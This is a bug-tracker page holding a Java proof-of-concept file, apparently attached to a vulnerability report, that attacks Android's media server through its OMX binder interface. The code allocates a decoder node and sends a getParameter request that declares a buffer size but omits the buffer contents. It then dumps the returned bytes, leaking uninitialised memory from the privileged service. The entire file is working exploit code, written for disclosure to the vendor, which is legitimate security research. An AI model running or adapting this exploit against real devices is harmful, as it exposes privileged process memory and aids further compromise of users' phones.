New issue
Advanced search Search tips

Issue 711 attachment: OMXInfoDisclosurePoC.java (12.9 KB)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
package com.example.forshaw.servicetest;

import android.content.Context;
import android.os.Binder;
import android.os.IBinder;
import android.os.Parcel;
import android.os.ParcelFileDescriptor;
import android.os.RemoteException;
import android.util.Log;

import java.io.FileDescriptor;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.nio.IntBuffer;
import java.util.Arrays;

/**
* Created by forshaw on 01/02/2016.
*/
public class OMXInfoDisclosurePoC {
static void log(String logString) {
Log.e("MyClass", logString);
}

static String getStackTrack() {
try { throw new Throwable(); } catch(Throwable t)
{
StringWriter writer = new StringWriter();
PrintWriter pw = new PrintWriter(writer);
t.printStackTrace(pw);
return writer.toString();
}
}

static class MediaPlayerServiceOps {
static int CREATE = IBinder.FIRST_CALL_TRANSACTION;
static int CREATE_MEDIA_RECORDER = CREATE + 1;
static int CREATE_METADATA_RETRIEVER = CREATE_MEDIA_RECORDER + 1;
static int GET_OMX = CREATE_METADATA_RETRIEVER + 1;
static int MAKE_CRYPTO = GET_OMX + 1;
static int MAKE_DRM = MAKE_CRYPTO + 1;
static int MAKE_HDCP = MAKE_DRM + 1;
static int ADD_BATTERY_DATA = MAKE_HDCP + 1;
static int PULL_BATTERY_DATA = ADD_BATTERY_DATA + 1;
static int LISTEN_FOR_REMOTE_DISPLAY = PULL_BATTERY_DATA + 1;
static int GET_CODEC_LIST = LISTEN_FOR_REMOTE_DISPLAY + 1;
}

static int kMode_Unencrypted = 0;
static int kMode_AES_CTR = 1;
static int kMode_AES_WV = 2;
static int kMode_AES_CBC = 3;

static class SubSample {
int mNumBytesOfClearData;
int mNumBytesOfEncryptedData;

public SubSample(int clearData, int encryptedData) {
mNumBytesOfClearData = clearData;
mNumBytesOfEncryptedData = encryptedData;
}

public SubSample() {
this(0, 0);
}
}

static int[] convertBytesToInts(byte[] byteArray) {
IntBuffer intBuf =
ByteBuffer.wrap(byteArray)
.order(ByteOrder.LITTLE_ENDIAN)
.asIntBuffer();
int[] array = new int[intBuf.remaining()];
intBuf.get(array);
return array;
}

static void writeRawBytes(Parcel data, byte[] bytes) {
int len = bytes.length;
if ((len & 3) != 0) {
bytes = Arrays.copyOf(bytes, (len + 3) & ~3);
}

for (int i : convertBytesToInts(bytes)) {
data.writeInt(i);
}
}

static byte[] convertIntToBytes(int i) {
ByteBuffer byteBuffer = ByteBuffer.allocate(4);
byteBuffer.order(ByteOrder.LITTLE_ENDIAN);
byteBuffer.putInt(0, i);
byte[] ret = new byte[4];
byteBuffer.get(ret);
return ret;
}

static String readCString(Parcel data) {
StringBuilder builder = new StringBuilder();

while(data.dataAvail() >= 4) {
int len = 0;
byte[] bytes = convertIntToBytes(data.readInt());
for(len = 0; len < 4; ++len) {
if (bytes[len] == 0) {
break;
}
}
builder.append(new String(bytes, 0, len));
if (len < 4) {
break;
}
}

return builder.toString();
}

static String readString8(Parcel data) {
int length = data.readInt();
return new String(readRawBytes(data, length));
}

static void writeCString(Parcel data, String str) {
writeRawBytes(data, (str + "\0").getBytes());
}

static byte[] readRawBytes(Parcel data, int length) {
int read_len = (length + 3) & ~3;
byte[] ret = new byte[length];
ByteBuffer byteBuffer = ByteBuffer.allocate(read_len);
byteBuffer.order(ByteOrder.LITTLE_ENDIAN);

for(int i = 0; i < read_len / 4; ++i) {
byteBuffer.putInt(data.readInt());
}

byteBuffer.position(0);
byteBuffer.get(ret, 0, length);
return ret;
}

static String dumpHex(byte[] bytes) {
StringBuilder builder = new StringBuilder();

for(byte b : bytes) {
builder.append(String.format("%02X", b & 0xFF));
}
return builder.toString();
}

static IBinder getService(String service) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class c = Class.forName("android.os.ServiceManager");
Method m = c.getMethod("getService", String.class);
return (IBinder)m.invoke(null, service);
}

static class IOMXObserverStub extends Binder {
static final int OBSERVER_ON_MSG = IBinder.FIRST_CALL_TRANSACTION;
static final String DESCRIPTOR = "android.hardware.IOMXObserver";

@Override
public boolean onTransact(int code, android.os.Parcel data, android.os.Parcel reply, int flags) throws android.os.RemoteException {
log("onTransact IOMXObserver: " + code);
switch (code)
{
case INTERFACE_TRANSACTION:
{
reply.writeString(DESCRIPTOR);
return true;
}
case OBSERVER_ON_MSG:
{
data.enforceInterface(DESCRIPTOR);
log("In OBSERVER_ON_MSG: " + getStackTrack());
reply.writeNoException();
return true;
}
}
return super.onTransact(code, data, reply, flags);
}
}

static class IOMXProxy {
static final int CONNECT = IBinder.FIRST_CALL_TRANSACTION;
static final int LIVES_LOCALLY = CONNECT+1;
static final int LIST_NODES = LIVES_LOCALLY+1;
static final int ALLOCATE_NODE = LIST_NODES+1;
static final int FREE_NODE = ALLOCATE_NODE+1;
static final int SEND_COMMAND = FREE_NODE+1;
static final int GET_PARAMETER = SEND_COMMAND+1;
static final int SET_PARAMETER = GET_PARAMETER+1;
static final int GET_CONFIG = SET_PARAMETER+1;
static final int SET_CONFIG = GET_CONFIG+1;
static final int GET_STATE = SET_CONFIG+1;
static final int ENABLE_GRAPHIC_BUFFERS = GET_STATE+1;
static final int USE_BUFFER = ENABLE_GRAPHIC_BUFFERS+1;
static final int USE_GRAPHIC_BUFFER = USE_BUFFER+1;
static final int CREATE_INPUT_SURFACE = USE_GRAPHIC_BUFFER+1;
static final int CREATE_PERSISTENT_INPUT_SURFACE = CREATE_INPUT_SURFACE+1;
static final int SET_INPUT_SURFACE = CREATE_PERSISTENT_INPUT_SURFACE+1;
static final int SIGNAL_END_OF_INPUT_STREAM = SET_INPUT_SURFACE+1;
static final int STORE_META_DATA_IN_BUFFERS = SIGNAL_END_OF_INPUT_STREAM+1;
static final int PREPARE_FOR_ADAPTIVE_PLAYBACK = STORE_META_DATA_IN_BUFFERS+1;
static final int ALLOC_BUFFER = PREPARE_FOR_ADAPTIVE_PLAYBACK+1;
static final int ALLOC_BUFFER_WITH_BACKUP = ALLOC_BUFFER+1;
static final int FREE_BUFFER = ALLOC_BUFFER_WITH_BACKUP+1;
static final int FILL_BUFFER = FREE_BUFFER+1;
static final int EMPTY_BUFFER = FILL_BUFFER+1;
static final int GET_EXTENSION_INDEX = EMPTY_BUFFER+1;
static final int OBSERVER_ON_MSG = GET_EXTENSION_INDEX+1;
static final int GET_GRAPHIC_BUFFER_USAGE = OBSERVER_ON_MSG+1;
static final int SET_INTERNAL_OPTION = GET_GRAPHIC_BUFFER_USAGE+1;
static final int UPDATE_GRAPHIC_BUFFER_IN_META = SET_INTERNAL_OPTION+1;
static final int CONFIGURE_VIDEO_TUNNEL_MODE = UPDATE_GRAPHIC_BUFFER_IN_META+1;

static final String DESCRIPTOR = "android.hardware.IOMX";

private IBinder mBinder;

public IOMXProxy(IBinder binder) {
mBinder = binder;
}

public int allocateNode(String name, IOMXObserverStub observer) throws RemoteException {
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();

data.writeInterfaceToken(DESCRIPTOR);

writeCString(data, name);
data.writeStrongBinder(observer);
mBinder.transact(ALLOCATE_NODE, data, reply, 0);

int err = reply.readInt();
log("allocateNode Error: " + Integer.toHexString(err));
if (err == 0)
return reply.readInt();
return -1;
}

public int freeBuffer(int node, int port, int buffer) throws RemoteException {
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();

data.writeInterfaceToken(DESCRIPTOR);
data.writeInt(node);
data.writeInt(port);
data.writeInt(buffer);

mBinder.transact(FREE_BUFFER, data, reply, 0);

return reply.readInt();
}

public class NodeInfo {
public String[] roles;
public String name;

public NodeInfo(Parcel data) {
name = readString8(data);
int num_roles = data.readInt();
roles = new String[num_roles];
for (int i = 0; i < num_roles; ++i) {
roles[i] = readString8(data);
}
}
}

public NodeInfo[] listNodes() throws RemoteException {
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();

data.writeInterfaceToken(DESCRIPTOR);

mBinder.transact(LIST_NODES, data, reply, 0);
int n = reply.readInt();
NodeInfo[] nodes = new NodeInfo[n];
for (int i = 0; i < n; ++i) {
nodes[i] = new NodeInfo(data);
}
return nodes;
}

public int getParameter(int node, int index, byte[] buffer) throws RemoteException {
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();

data.writeInterfaceToken(DESCRIPTOR);
data.writeInt(node);
data.writeInt(index);
data.writeLong(buffer.length);
// Don't write out the actual bytes
//writeRawBytes(data, buffer);
mBinder.transact(GET_PARAMETER, data, reply, 0);

int err = reply.readInt();
if (err == 0) {
byte[] retdata = readRawBytes(reply, buffer.length);
for (int i = 0; i < buffer.length; ++i) {
buffer[i] = retdata[i];
}
}
return err;
}

public int getConfig(int node, int index, byte[] buffer) throws RemoteException {
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();

data.writeInterfaceToken(DESCRIPTOR);
data.writeInt(node);
data.writeInt(index);
data.writeLong(buffer.length);
writeRawBytes(data, buffer);
mBinder.transact(GET_CONFIG, data, reply, 0);

int err = reply.readInt();
if (err == 0) {
byte[] retdata = readRawBytes(reply, buffer.length);
for (int i = 0; i < buffer.length; ++i) {
buffer[i] = retdata[i];
}
}
return err;
}

}

public static void testOMX(Context ctx) throws Throwable {
IBinder serviceBinder = getService("media.player");
log(serviceBinder.getInterfaceDescriptor());

Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();

data.writeInterfaceToken("android.media.IMediaPlayerService");
serviceBinder.transact(MediaPlayerServiceOps.GET_OMX, data, reply, 0);

IBinder omx = reply.readStrongBinder();
log(omx.getInterfaceDescriptor());
IOMXProxy omxproxy = new IOMXProxy(omx);

IOMXObserverStub observer = new IOMXObserverStub();
int node = omxproxy.allocateNode("OMX.qcom.video.decoder.mpeg4", observer);
log("Allocate Node: " + node);
if (node > 0) {
final int OMX_IndexParamPriorityMgmt = 0x01000000+1;
byte[] buffer = new byte[64];
Arrays.fill(buffer, (byte) 0x7F);

int result = omxproxy.getParameter(node, OMX_IndexParamPriorityMgmt, buffer);
if (result == 0)
log("Result: " + dumpHex(buffer));
else
log("Error getting parameter: " + result);
}
}
}